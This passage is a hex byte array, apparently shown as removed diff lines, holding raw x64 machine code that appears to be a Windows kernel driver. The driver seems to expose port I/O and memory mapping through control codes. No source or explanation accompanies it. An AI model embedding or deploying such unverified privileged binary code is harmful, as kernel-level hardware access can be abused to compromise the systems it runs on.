0x83, 0xC9, 0xFF, 0xFF, - 0x15, 0xEF, 0x24, 0x00, 0x00, 0x8B, 0xD8, 0x48, 0x8D, 0x0D, 0x56, 0x19, - 0x00, 0x00, 0xEB, 0x51, 0xBB, 0x9A, 0x00, 0x00, 0xC0, 0x48, 0x8D, 0x0D, - 0x78, 0x19, 0x00, 0x00, 0xEB, 0x43, 0x44, 0x8B, 0xC9, 0x45, 0x8B, 0xC4, - 0x48, 0x8B, 0xCD, 0x49, 0x8B, 0xD7, 0xE8, 0xF5, 0x0A, 0x00, 0x00, 0x8B, - 0xD8, 0x85, 0xC0, 0x78, 0x20, 0xBE, 0x08, 0x00, 0x00, 0x00, 0x48, 0x8D, - 0x0D, 0x73, 0x18, 0x00, 0x00, 0x8B, 0xD6, 0xE8, 0x74, 0x12, 0x00, 0x00, - 0x48, 0x8D, 0x0D, 0x85, 0x18, 0x00, 0x00, 0x48, 0x89, 0x77, 0x38, 0xEB, - 0x0C, 0xBB, 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8D, 0x0D, 0xA3, 0x18, 0x00, - 0x00, 0xE8, 0x56, 0x12, 0x00, 0x00, 0xE9, 0x59, 0x01, 0x00, 0x00, 0x45, - 0x8B, 0xC8, 0x49, 0x8B, 0xCE, 0x4C, 0x8B, 0xC6, 0xE8, 0xD7, 0x02, 0x00, - 0x00, 0xE9, 0xC3, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x3F, 0x19, 0x00, - 0x00, 0xE8, 0x32, 0x12, 0x00, 0x00, 0x4C, 0x8B, 0xC6, 0x48, 0x8B, 0xD7, - 0x48, 0x8B, 0xCD, 0xE8, 0x7C, 0x07, 0x00, 0x00, 0x8B, 0xD8, 0x48, 0x8D, - 0x0D, 0x43, 0x19, 0x00, 0x00, 0xEB, 0xBE, 0x4C, 0x8B, 0xC6, 0x48, 0x8B, - 0xCD, 0xE8, 0xD2, 0x0E, 0x00, 0x00, 0xE9, 0x8E, 0x00, 0x00, 0x00, 0x48, - 0x8D, 0x0D, 0x4A, 0x19, 0x00, 0x00, 0xE8, 0xFD, 0x11, 0x00, 0x00, 0x44, - 0x8B, 0x4E, 0x18, 0x4C, 0x8B, 0xC6, 0x48, 0x8B, 0xD7, 0x49, 0x8B, 0xCE, - 0xE8, 0xEB, 0xFA, 0xFF, 0xFF, 0x8B, 0xD8, 0x48, 0x8D, 0x0D, 0x4A, 0x19, - 0x00, 0x00, 0xEB, 0x85, 0xB8, 0x04, 0x64, 0x50, 0xC3, 0x44, 0x3B, 0xC0, - 0x0F, 0x87, 0xFD, 0x01, 0x00, 0x00, 0x74, 0x4A, 0x41, 0x81, 0xF8, 0x04, - 0x28, 0x50, 0xC3, 0x0F, 0x84, 0xDB, 0x01, 0x00, 0x00, 0x41, 0x81, 0xF8, - 0x08, 0x28, 0x50, 0xC3, 0x0F, 0x84, 0xAF, 0x01, 0x00, 0x00, 0x41, 0x81, - 0xF8, 0x0C, 0x28, 0x50, 0xC3, 0x0F, 0x84, 0x8F, 0x01, 0x00, 0x00, 0x41, - 0x81, 0xF8, 0x40, 0x28, 0x50, 0xC3, 0x0F, 0x84, 0xDA, 0x00, 0x00, 0x00, - 0x41, 0x81, 0xF8, 0x44, 0x28, 0x50, 0xC3, 0x74, 0x1C, 0x41, 0x81, 0xF8, - 0x00, 0x64, 0x50, 0xC3, 0x0F, 0x85, 0x8E, 0x00, 0x00, 0x00, 0x48, 0x8B, - 0xD6, 0x48, 0x8B, 0xCF, 0xE8, 0x7B, 0x02, 0x00, 0x00, 0x8B, 0xD8, 0xEB, - 0x7F, 0x41, 0x83, 0xFC, 0x10, 0x0F, 0x85, 0xA4, 0x00, 0x00, 0x00, 0x41, - 0x83, 0x67, 0x04, 0x00, 0x49, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0xEE, 0x48, - 0x85, 0xF6, 0x74, 0x64, 0x49, 0x8B, 0x07, 0x48, 0x39, 0x46, 0x18, 0x74, - 0x0D, 0x48, 0x8B, 0xEE, 0x48, 0x8B, 0x36, 0x48, 0x85, 0xF6, 0x75, 0xEF, - 0xEB, 0x4E, 0x41, 0x8B, 0x47, 0x08, 0x39, 0x46, 0x20, 0x75, 0x74, 0x48, - 0x8B, 0x56, 0x08, 0x48, 0x8B, 0x4E, 0x18, 0xFF, 0x15, 0xE7, 0x22, 0x00, - 0x00, 0x48, 0x8B, 0x4E, 0x08, 0xFF, 0x15, 0x35, 0x23, 0x00, 0x00, 0x8B, - 0x56, 0x20, 0x48, 0x8B, 0x4E, 0x10, 0xFF, 0x15, 0xE0, 0x22, 0x00, 0x00, - 0x48, 0x8B, 0x06, 0x49, 0x3B, 0x76, 0x18, 0x75, 0x06, 0x49, 0x89, 0x46, - 0x18, 0xEB, 0x04, 0x48, 0x89, 0x45, 0x00, 0x33, 0xD2, 0x48, 0x8B, 0xCE, - 0xFF, 0x15, 0x9A, 0x22, 0x00, 0x00, 0x33, 0xDB, 0x33, 0xD2, 0x89, 0x5F, - 0x30, 0x48, 0x8B, 0xCF, 0xFF, 0x15, 0xD2, 0x22, 0x00, 0x00, 0x48, 0x8B, - 0x6C, 0x24, 0x58, 0x8B, 0xC3, 0x48, 0x8B, 0x5C, 0x24, 0x50, 0x48, 0x8B, - 0x74, 0x24, 0x60, 0x48, 0x8B, 0x7C, 0x24, 0x68, 0x48, 0x83, 0xC4, 0x30, - 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5C, 0xC3, 0xBB, 0x0D, 0x00, 0x00, 0xC0, - 0xEB, 0xCA, 0x41, 0x83, 0xFC, 0x10, 0x75, 0xF3, 0x41, 0x3B, 0xCC, 0x75, - 0xEE, 0x41, 0x8B, 0x6F, 0x08, 0x45, 0x33, 0xC0, 0x41, 0x8B, 0x0F, 0x8B, - 0xD5, 0xFF, 0x15, 0x65, 0x22, 0x00, 0x00, 0x48, 0x8B, 0xF0, 0x48, 0x85, - 0xC0, 0x74, 0x79, 0x48, 0x83, 0x64, 0x24, 0x20, 0x00, 0x45, 0x33, 0xC9, - 0x45, 0x33, 0xC0, 0x8B, 0xD5, 0x48, 0x8B, 0xC8, 0xFF, 0x15, 0x66, 0x22, - 0x00, 0x00, 0x4C, 0x8B, 0xE0, 0x48, 0x85, 0xC0, 0x74, 0x4E, 0x48, 0x8B, - 0xC8, 0xFF, 0x15, 0x1D, 0x22, 0x00, 0x00, 0xB2, 0x01, 0x49, 0x8B, 0xCC, - 0xFF, 0x15, 0x1A, 0x22, 0x00, 0x00, 0xBA, 0x28, 0x00, 0x00, 0x00, 0x33, - 0xC9, 0x48, 0x8B, 0xD8, 0xFF, 0x15, 0xF2, 0x21, 0x00, 0x00, 0x4C, 0x89, - 0x60, 0x08, 0x48, 0x89, 0x70, 0x10, 0x48, 0x89, 0x58, 0x18, 0x89, 0x68, - 0x20, 0x49, 0x8B, 0x4E, 0x18, 0x48, 0x89, 0x08, 0x49, 0x89, 0x46, 0x18, - 0x49, 0x89, 0x1F, 0x48, 0xC7, 0x47, 0x38, 0x10, 0x00, 0x00, 0x00, 0xE9, - 0x36, 0xFF, 0xFF, 0xFF, 0x48, 0x8B, 0xD5, 0x48, 0x8B, 0xCE, 0xFF, 0x15, - 0xEC, 0x21, 0x00, 0x00, 0xBB, 0x9A, 0x00, 0x00, 0xC0, 0xE9, 0x22, 0xFF, - 0xFF, 0xFF, 0x45, 0x8B, 0xC8, 0x49, 0x8B, 0xCE, 0x4C, 0x8B, 0xC6, 0xE8, - 0xA4, 0xF9, 0xFF, 0xFF, 0xE9, 0x8C, 0xFE, 0xFF, 0xFF, 0x48, 0x83, 0x62, - 0x38, 0x00, 0x49, 0x8B, 0xCF, 0xE8, 0x26, 0x0B, 0x00, 0x00, 0xF6, 0xD8, - 0xBB, 0x0D, 0x00, 0x00, 0xC0, 0x1B, 0xC9, 0xF7, 0xD1, 0x23, 0xD9, 0xE9, - 0xF0, 0xFE, 0xFF, 0xFF, 0x45, 0x8B, 0xC8, 0x49, 0x8B, 0xCE, 0x4C, 0x8B, - 0xC6, 0xE8, 0x2E, 0xF9, 0xFF, 0xFF, 0xE9, 0x5A, 0xFE, 0xFF, 0xFF, 0x41, - 0x81, 0xF8, 0x08, 0x64, 0x50, 0xC3, 0x0F, 0x84, 0x42, 0xFE, 0xFF, 0xFF, - 0x41, 0x8D, 0x80, 0xC0, 0x5B, 0xAF, 0x3C, 0xA9, 0xF3, 0xFF, 0xFF, 0xFF, - 0x75, 0x19, 0x41, 0x81, 0xF8, 0x4C, 0xA4, 0x50, 0xC3, 0x74, 0x10, 0x48, - 0x8B, 0xD6, 0x48, 0x8B, 0xCF, 0xE8, 0xE6, 0x02, 0x00, 0x00, 0xE9, 0x26, - 0xFE, 0xFF, 0xFF, 0x41, 0x81, 0xF8, 0x4C, 0xE4, 0x50, 0xC3, 0x74, 0x1A, - 0x41, 0x81, 0xF8, 0x54, 0xE4, 0x50, 0xC3, 0x0F, 0x85, 0x93, 0xFE, 0xFF, - 0xFF, 0x48, 0x8B, 0xCD, 0xE8, 0xF3, 0x01, 0x00, 0x00, 0xE9, 0x03, 0xFE, - 0xFF, 0xFF, 0x48, 0x8B, 0xD6, 0x48, 0x8B, 0xCF, 0xE8, 0x37, 0x01, 0x00, - 0x00, 0xE9, 0xF3, 0xFD, 0xFF, 0xFF, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, - 0x08, 0x48, 0x89, 0x6C, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, - 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0x7A, 0x18, 0x48, 0x8B, 0xEA, 0x41, - 0x8B, 0x70, 0x10, 0x45, 0x33, 0xC0, 0x8B, 0x57, 0x14, 0x48, 0x8B, 0x4F, - 0x08, 0xFF, 0x15, 0xFD, 0x20, 0x00, 0x00, 0x44, 0x8B, 0x47, 0x14, 0x48, - 0x8B, 0xD0, 0x48, 0x63, 0x4F, 0x18, 0x48, 0x8B, 0xD8, 0xE8, 0xA2, 0x10, - 0x00, 0x00, 0x8B, 0x57, 0x14, 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0xE6, 0x20, - 0x00, 0x00, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x33, 0xC0, 0x48, 0x89, 0x75, - 0x38, 0x48, 0x8B, 0x6C, 0x24, 0x38, 0x48, 0x8B, 0x74, 0x24, 0x40, 0x48, - 0x83, 0xC4, 0x20, 0x5F, 0xC3, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, - 0x10, 0x55, 0x56, 0x57, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xEC, 0x20, - 0x48, 0x8B, 0x59, 0x18, 0x48, 0x8B, 0xE9, 0x44, 0x8B, 0x7A, 0x10, 0x48, - 0x8D, 0x0D, 0x66, 0x16, 0x00, 0x00, 0x44, 0x8B, 0x72, 0x08, 0x41, 0x8B, - 0xF8, 0xE8, 0xD2, 0x0E, 0x00, 0x00, 0x41, 0xB8, 0x04, 0x64, 0x50, 0xC3, - 0xB9, 0x08, 0x64, 0x50, 0xC3, 0x41, 0x3B, 0xF8, 0x74, 0x1A, 0x3B, 0xF9, - 0x74, 0x0F, 0x0F, 0xB7, 0x03, 0xBE, 0x01, 0x00, 0x00, 0x00, 0x0F, 0xB7, - 0x54, 0x24, 0x54, 0xEB, 0x14, 0xBE, 0x04, 0x00, 0x00, 0x00, 0xEB, 0x05, - 0xBE, 0x02, 0x00, 0x00, 0x00, 0x0F, 0xB7, 0x44, 0x24, 0x60, 0x0F, 0xB7, - 0x13, 0x41, 0x83, 0xFF, 0x04, 0x75, 0x41, 0x44, 0x3B, 0xF6, 0x72, 0x3C, - 0x81, 0xFF, 0x00, 0x64, 0x50, 0xC3, 0x74, 0x15, 0x41, 0x3B, 0xF8, 0x74, - 0x09, 0x3B, 0xF9, 0x75, 0x21, 0xED, 0x89, 0x03, 0xEB, 0x1C, 0x66, 0xED, - 0x66, 0x89, 0x03, 0xEB, 0x15, 0x0F, 0xB7, 0xD0, 0x48, 0x8D, 0x0D, 0x01, - 0x16, 0x00, 0x00, 0xEC, 0x0F, 0xB6, 0xD0, 0x88, 0x13, 0xE8, 0x5E, 0x0E, - 0x00, 0x00, 0x8B, 0xC6, 0x48, 0x89, 0x45, 0x38, 0x33, 0xC0, 0xEB, 0x05, - 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x58, 0x48, 0x83, - 0xC4, 0x20, 0x41, 0x5F, 0x41, 0x5E, 0x5F, 0x5E, 0x5D, 0xC3, 0xCC, 0xCC, - 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x6C, 0x24, 0x10, 0x48, 0x89, - 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0x59, 0x18, - 0x48, 0x8B, 0xF1, 0x8B, 0x7A, 0x10, 0x8B, 0x6A, 0x08, 0x0F, 0xB7, 0x03, - 0x66, 0x89, 0x05, 0xDB, 0x2F, 0x00, 0x00, 0x0F, 0xB7, 0x43, 0x02, 0x66, - 0x89, 0x05, 0xCE, 0x2F, 0x00, 0x00, 0x0F, 0xB7, 0x43, 0x04, 0x66, 0x89, - 0x05, 0xC1, 0x2F, 0x00, 0x00, 0x0F, 0xB7, 0x43, 0x06, 0x66, 0x89, 0x05, - 0xB4, 0x2F, 0x00, 0x00, 0xE8, 0x63, 0xEF, 0xFF, 0xFF, 0x0F, 0xB7, 0x05, - 0xAE, 0x2F, 0x00, 0x00, 0x66, 0x89, 0x03, 0x0F, 0xB7, 0x05, 0xA2, 0x2F, - 0x00, 0x00, 0x66, 0x89, 0x43, 0x02, 0x0F, 0xB7, 0x05, 0x95, 0x2F, 0x00, - 0x00, 0x66, 0x89, 0x43, 0x04, 0x0F, 0xB7, 0x05, 0x88, 0x2F, 0x00, 0x00, - 0x66, 0x89, 0x43, 0x06, 0x83, 0xFF, 0x08, 0x75, 0x10, 0x3B, 0xEF, 0x72, - 0x0C, 0x48, 0xC7, 0x46, 0x38, 0x08, 0x00, 0x00, 0x00, 0x33, 0xC0, 0xEB, - 0x05, 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, - 0x8B, 0x6C, 0x24, 0x38, 0x48, 0x8B, 0x74, 0x24, 0x40, 0x48, 0x83, 0xC4, - 0x20, 0x5F, 0xC3, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x6C, - 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xEC, 0x20, - 0x48, 0x8B, 0x5A, 0x18, 0x48, 0x8B, 0xF2, 0x48, 0x8B, 0x82, 0xB8, 0x00, - 0x00, 0x00, 0x8B, 0x78, 0x10, 0x8B, 0x68, 0x08, 0x8B, 0x03, 0x89, 0x05, - 0x10, 0x2F, 0x00, 0x00, 0x8B, 0x43, 0x04, 0x89, 0x05, 0x03, 0x2F, 0x00, - 0x00, 0x8B, 0x43, 0x08, 0x89, 0x05, 0xF6, 0x2E, 0x00, 0x00, 0x8B, 0x43, - 0x0C, 0x89, 0x05, 0xE9, 0x2E, 0x00, 0x00, 0x8B, 0x43, 0x10, 0x89, 0x05, - 0xDC, 0x2E, 0x00, 0x00, 0x8B, 0x43, 0x14, 0x89, 0x05, 0xCF, 0x2E, 0x00, - 0x00, 0xE8, 0x0C, 0xEF, 0xFF, 0xFF, 0x8B, 0x05, 0xD8, 0x2E, 0x00, 0x00, - 0x89, 0x03, 0x8B, 0x05, 0xCC, 0x2E, 0x00, 0x00, 0x89, 0x43, 0x04, 0x8B, - 0x05, 0xBF, 0x2E, 0x00, 0x00, 0x89, 0x43, 0x08, 0x8B, 0x05, 0xB2, 0x2E, - 0x00, 0x00, 0x89, 0x43, 0x0C, 0x8B, 0x05, 0xA5, 0x2E, 0x00, 0x00, 0x89, - 0x43, 0x10, 0x8B, 0x05, 0x98, 0x2E, 0x00, 0x00, 0x89, 0x43, 0x14, 0x8B, - 0x05, 0x8B, 0x2E, 0x00, 0x00, 0x89, 0x43, 0x18, 0x83, 0xFF, 0x1C, 0x75, - 0x10, 0x3B, 0xEF, 0x72, 0x0C, 0x48, 0xC7, 0x46, 0x38, 0x1C, 0x00, 0x00, - 0x00, 0x33, 0xC0, 0xEB, 0x05, 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8B, - 0x5C, 0x24, 0x30, 0x48, 0x8B, 0x6C, 0x24, 0x38, 0x48, 0x8B, 0x74, 0x24, - 0x40, 0x48, 0x83, 0xC4, 0x20, 0x5F, 0xC3, 0xCC, 0x48, 0x89, 0x5C, 0x24, - 0x10, 0x48, 0x89, 0x6C, 0x24, 0x20, 0x56, 0x57, 0x41, 0x56, 0x48, 0x83, - 0xEC, 0x20, 0x44, 0x8B, 0x72, 0x10, 0x41, 0x8B, 0xF0, 0x48, 0x83, 0x61, - 0x38, 0x00, 0x48, 0x8B, 0x59, 0x18, 0x48, 0x8D, 0x0D, 0x4F, 0x14, 0x00, - 0x00, 0xE8, 0x92, 0x0C, 0x00, 0x00, 0x41, 0xB8, 0x44, 0xA4, 0x50, 0xC3, - 0xBA, 0x48, 0xA4, 0x50, 0xC3, 0x41, 0x3B, 0xF0, 0x74, 0x1A, 0x3B, 0xF2, - 0x74, 0x0F, 0x0F, 0xB7, 0x2B, 0xB9, 0x05, 0x00, 0x00, 0x00, 0x0F, 0xB7, - 0x7C, 0x24, 0x44, 0xEB, 0x14, 0xB9, 0x08, 0x00, 0x00, 0x00, 0xEB, 0x05, - 0xB9, 0x06, 0x00, 0x00, 0x00, 0x0F, 0xB7, 0x6C, 0x24, 0x50, 0x0F, 0xB7, - 0x3B, 0x4C, 0x3B, 0xF1, 0x73, 0x07, 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0xEB, - 0x75, 0x81, 0xFE, 0x40, 0xA4, 0x50, 0xC3, 0x74, 0x44, 0x41, 0x3B, 0xF0, - 0x74, 0x20, 0x3B, 0xF2, 0x75, 0x56, 0x44, 0x8B, 0x43, 0x04, 0x48, 0x8D, - 0x0D, 0x0B, 0x14, 0x00, 0x00, 0x0F, 0xB7, 0xD7, 0xE8, 0x2B, 0x0C, 0x00, - 0x00, 0x8B, 0x43, 0x04, 0x0F, 0xB7, 0xD7, 0xEF, 0xEB, 0x1D, 0x44, 0x0F, - 0xB7, 0x43, 0x04, 0x48, 0x8D, 0x0D, 0xEE, 0x13, 0x00, 0x00, 0x0F, 0xB7, - 0xD7, 0xE8, 0x0E, 0x0C, 0x00, 0x00, 0x0F, 0xB7, 0x43, 0x04, 0x0F, 0xB7, - 0xD7, 0x66, 0xEF, 0xEB, 0x1B, 0x44, 0x0F, 0xB6, 0x43, 0x04, 0x48, 0x8D, - 0x0D, 0xCF, 0x13, 0x00, 0x00, 0x0F, 0xB7, 0xD5, 0xE8, 0xEF, 0x0B, 0x00, - 0x00, 0x8A, 0x43, 0x04, 0x0F, 0xB7, 0xD5, 0xEE, 0x48, 0x8D, 0x0D, 0xC9, - 0x13, 0x00, 0x00, 0xE8, 0xDC, 0x0B, 0x00, 0x00, 0x33, 0xC0, 0x48, 0x8B, - 0x5C, 0x24, 0x48, 0x48, 0x8B, 0x6C, 0x24, 0x58, 0x48, 0x83, 0xC4, 0x20, - 0x41, 0x5E, 0x5F, 0x5E, 0xC3, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, - 0x08, 0x57, 0x48, 0x83, 0xEC, 0x30, 0x48, 0x8B, 0x41, 0x08, 0x48, 0x8B, - 0x78, 0x40, 0x48, 0x8B, 0x5F, 0x18, 0x48, 0x85, 0xDB, 0x74, 0x39, 0x48, - 0x8B, 0x03, 0x48, 0x89, 0x47, 0x18, 0x48, 0x8B, 0x53, 0x08, 0x48, 0x8B, - 0x4B, 0x18, 0xFF, 0x15, 0x4C, 0x1D, 0x00, 0x00, 0x48, 0x8B, 0x4B, 0x08, - 0xFF, 0x15, 0x9A, 0x1D, 0x00, 0x00, 0x8B, 0x53, 0x20, 0x48, 0x8B, 0x4B, - 0x10, 0xFF, 0x15, 0x45, 0x1D, 0x00, 0x00, 0x33, 0xD2, 0x48, 0x8B, 0xCB, - 0xFF, 0x15, 0x12, 0x1D, 0x00, 0x00, 0xEB, 0xBE, 0x48, 0x8D, 0x15, 0x41, - 0x11, 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x20, 0xFF, 0x15, 0xBE, 0x1D, - 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x20, 0xFF, 0x15, 0x5B, 0x1D, 0x00, - 0x00, 0x48, 0x8B, 0x4F, 0x10, 0xFF, 0x15, 0x49, 0x1D, 0x00, 0x00, 0x48, - 0x8B, 0x5C, 0x24, 0x40, 0x48, 0x83, 0xC4, 0x30, 0x5F, 0xC3, 0xCC, 0xCC, - 0x48, 0x89, 0x5C, 0x24, 0x08, 0x57, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x8B, - 0x40, 0x08, 0x48, 0x8B, 0xFA, 0x48, 0x8B, 0x5A, 0x18, 0x41, 0x39, 0x40, - 0x10, 0x75, 0x67, 0x83, 0xF8, 0x10, 0x75, 0x62, 0x33, 0xD2, 0x48, 0x89, - 0x57, 0x38, 0x8B, 0x43, 0x04, 0x89, 0x05, 0xC9, 0x2C, 0x00, 0x00, 0x89, - 0x15, 0xBB, 0x2C, 0x00, 0x00, 0x89, 0x15, 0xB9, 0x2C, 0x00, 0x00, 0x8B, - 0x0B, 0x85, 0xC9, 0x74, 0x1E, 0x83, 0xF9, 0x01, 0x75, 0x3C, 0xE8, 0x2F, - 0xED, 0xFF, 0xFF, 0x8B, 0x05, 0xA3, 0x2C, 0x00, 0x00, 0x89, 0x43, 0x08, - 0x8B, 0x05, 0x96, 0x2C, 0x00, 0x00, 0x89, 0x43, 0x0C, 0xEB, 0x17, 0x8B, - 0x43, 0x08, 0x89, 0x05, 0x8C, 0x2C, 0x00, 0x00, 0x8B, 0x43, 0x0C, 0x89, - 0x05, 0x7F, 0x2C, 0x00, 0x00, 0xE8, 0x21, 0xED, 0xFF, 0xFF, 0x48, 0xC7, - 0x47, 0x38, 0x10, 0x00, 0x00, 0x00, 0x33, 0xC0, 0xEB, 0x05, 0xB8, 0x0D, - 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, 0x83, 0xC4, 0x20, - 0x5F, 0xC3, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x74, - 0x24, 0x10, 0x57, 0x48, 0x83, 0xEC, 0x30, 0x48, 0x8D, 0x0D, 0xFA, 0x15, - 0x00, 0x00, 0x49, 0x8B, 0xD8, 0x48, 0x8B, 0xFA, 0xE8, 0x87, 0x0A, 0x00, - 0x00, 0x83, 0x7B, 0x10, 0x0C, 0x0F, 0x85, 0xA3, 0x00, 0x00, 0x00, 0xBE, - 0x01, 0x00, 0x00, 0x00, 0x39, 0x73, 0x08, 0x0F, 0x85, 0x95, 0x00, 0x00, - 0x00, 0x48, 0x8B, 0x5F, 0x18, 0x0F, 0xB7, 0x4B, 0x06, 0x0F, 0xB7, 0x43, - 0x08, 0x44, 0x0F, 0xB7, 0x4B, 0x04, 0x44, 0x0F, 0xB7, 0x43, 0x02, 0x0F, - 0xB7, 0x13, 0x89, 0x44, 0x24, 0x28, 0x89, 0x4C, 0x24, 0x20, 0x48, 0x8D, - 0x0D, 0xEF, 0x15, 0x00, 0x00, 0xE8, 0x42, 0x0A, 0x00, 0x00, 0x0F, 0xB7, - 0x03, 0x66, 0x85, 0xC0, 0x75, 0x22, 0x0F, 0xB7, 0x43, 0x0A, 0x44, 0x0F, - 0xB7, 0x4B, 0x08, 0x44, 0x0F, 0xB7, 0x43, 0x06, 0x0F, 0xB7, 0x53, 0x04, - 0x0F, 0xB7, 0x4B, 0x02, 0x66, 0x89, 0x44, 0x24, 0x20, 0xE8, 0xFA, 0x07, - 0x00, 0x00, 0xEB, 0x25, 0x66, 0x3B, 0xC6, 0x75, 0x22, 0x0F, 0xB7, 0x43, - 0x0A, 0x44, 0x0F, 0xB7, 0x4B, 0x08, 0x44, 0x0F, 0xB7, 0x43, 0x06, 0x0F, - 0xB7, 0x53, 0x04, 0x0F, 0xB7, 0x4B, 0x02, 0x66, 0x89, 0x44, 0x24, 0x20, - 0xE8, 0xCF, 0x08, 0x00, 0x00, 0x88, 0x03, 0x0F, 0xB6, 0x13, 0x48, 0x8D, - 0x0D, 0xDF, 0x15, 0x00, 0x00, 0xE8, 0xE2, 0x09, 0x00, 0x00, 0x33, 0xC0, - 0x48, 0x89, 0x77, 0x38, 0xEB, 0x11, 0x48, 0x8D, 0x0D, 0x5B, 0x15, 0x00, - 0x00, 0xE8, 0xCE, 0x09, 0x00, 0x00, 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0x48, - 0x8B, 0x5C, 0x24, 0x40, 0x48, 0x8B, 0x74, 0x24, 0x48, 0x48, 0x83, 0xC4, - 0x30, 0x5F, 0xC3, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x18, 0x48, 0x89, 0x74, - 0x24, 0x20, 0x55, 0x57, 0x41, 0x56, 0x48, 0x8B, 0xEC, 0x48, 0x83, 0xEC, - 0x60, 0x48, 0x8B, 0x05, 0x1C, 0x2B, 0x00, 0x00, 0x48, 0x33, 0xC4, 0x48, - 0x89, 0x45, 0xF8, 0x4C, 0x8B, 0xF1, 0x49, 0x8B, 0xF8, 0x48, 0x8D, 0x0D, - 0x60, 0x12, 0x00, 0x00, 0x48, 0x8B, 0xF2, 0xE8, 0x80, 0x09, 0x00, 0x00, - 0x8B, 0x5F, 0x10, 0x48, 0x8D, 0x0D, 0x6E, 0x12, 0x00, 0x00, 0x8B, 0x7F, - 0x08, 0xE8, 0x6E, 0x09, 0x00, 0x00, 0x83, 0xFB, 0x34, 0x0F, 0x85, 0x9B, - 0x01, 0x00, 0x00, 0x3B, 0xFB, 0x0F, 0x85, 0x93, 0x01, 0x00, 0x00, 0x48, - 0x8D, 0x0D, 0x7E, 0x12, 0x00, 0x00, 0xE8, 0x51, 0x09, 0x00, 0x00, 0x48, - 0x8D, 0x0D, 0x82, 0x12, 0x00, 0x00, 0xE8, 0x45, 0x09, 0x00, 0x00, 0x49, - 0x8B, 0x5E, 0x40, 0x48, 0x8D, 0x0D, 0x82, 0x12, 0x00, 0x00, 0xE8, 0x35, - 0x09, 0x00, 0x00, 0x48, 0x8D, 0x55, 0xC0, 0x48, 0x8B, 0xCB, 0xFF, 0x15, - 0xB0, 0x1A, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x79, 0x12, 0x00, 0x00, 0xE8, - 0x1C, 0x09, 0x00, 0x00, 0x48, 0x8B, 0x5E, 0x18, 0x33, 0xC9, 0x48, 0x89, - 0x4D, 0xD8, 0x48, 0x89, 0x4D, 0xE0, 0x48, 0x89, 0x4D, 0xE8, 0x48, 0x89, - 0x4D, 0xF0, 0x0F, 0xB7, 0x03, 0x89, 0x45, 0xE4, 0x0F, 0xB6, 0x43, 0x02, - 0x89, 0x45, 0xD8, 0x88, 0x4B, 0x08, 0x0F, 0xB7, 0x43, 0x08, 0x09, 0x45, - 0xD8, 0x0F, 0xB7, 0x43, 0x0A, 0x89, 0x45, 0xDC, 0x66, 0x89, 0x4B, 0x1C, - 0x48, 0x8D, 0x0D, 0x45, 0x12, 0x00, 0x00, 0x44, 0x8B, 0x45, 0xDC, 0x44, - 0x0B, 0x43, 0x1C, 0x8B, 0x55, 0xD8, 0x44, 0x89, 0x45, 0xDC, 0x8B, 0x43, - 0x20, 0x89, 0x45, 0xE0, 0x8B, 0x43, 0x28, 0x89, 0x45, 0xE8, 0x8B, 0x43, - 0x2C, 0x89, 0x45, 0xEC, 0x8B, 0x43, 0x30, 0x89, 0x45, 0xF0, 0xE8, 0xB1, - 0x08, 0x00, 0x00, 0x44, 0x8B, 0x45, 0xE4, 0x48, 0x8D, 0x0D, 0x2E, 0x12, - 0x00, 0x00, 0x8B, 0x55, 0xE0, 0xE8, 0x9E, 0x08, 0x00, 0x00, 0x44, 0x8B, - 0x45, 0xEC, 0x48, 0x8D, 0x0D, 0x3B, 0x12, 0x00, 0x00, 0x8B, 0x55, 0xE8, - 0xE8, 0x8B, 0x08, 0x00, 0x00, 0x8B, 0x55, 0xF0, 0x48, 0x8D, 0x0D, 0x49, - 0x12, 0x00, 0x00, 0xE8, 0x7C, 0x08, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x4D, - 0x12, 0x00, 0x00, 0xE8, 0x70, 0x08, 0x00, 0x00, 0x48, 0x8D, 0x4D, 0xD8, - 0xE8, 0xDF, 0xEA, 0xFF, 0xFF, 0x48, 0x8D, 0x0D, 0x48, 0x12, 0x00, 0x00, - 0xE8, 0x5B, 0x08, 0x00, 0x00, 0x0F, 0xB7, 0x45, 0xD8, 0x48, 0x8D, 0x4D, - 0xC0, 0x66, 0x89, 0x43, 0x08, 0x8B, 0x45, 0xD8, 0x89, 0x43, 0x18, 0x8B, - 0x45, 0xDC, 0x89, 0x43, 0x1C, 0x0F, 0xB7, 0x45, 0xDC, 0x66, 0x89, 0x43, - 0x0A, 0x8B, 0x45, 0xE0, 0x89, 0x43, 0x20, 0x0F, 0xB7, 0x45, 0xE0, 0x66, - 0x89, 0x43, 0x0C, 0x8B, 0x45, 0xE4, 0x89, 0x43, 0x24, 0x8B, 0x45, 0xE8, - 0x89, 0x43, 0x28, 0x8B, 0x45, 0xEC, 0x89, 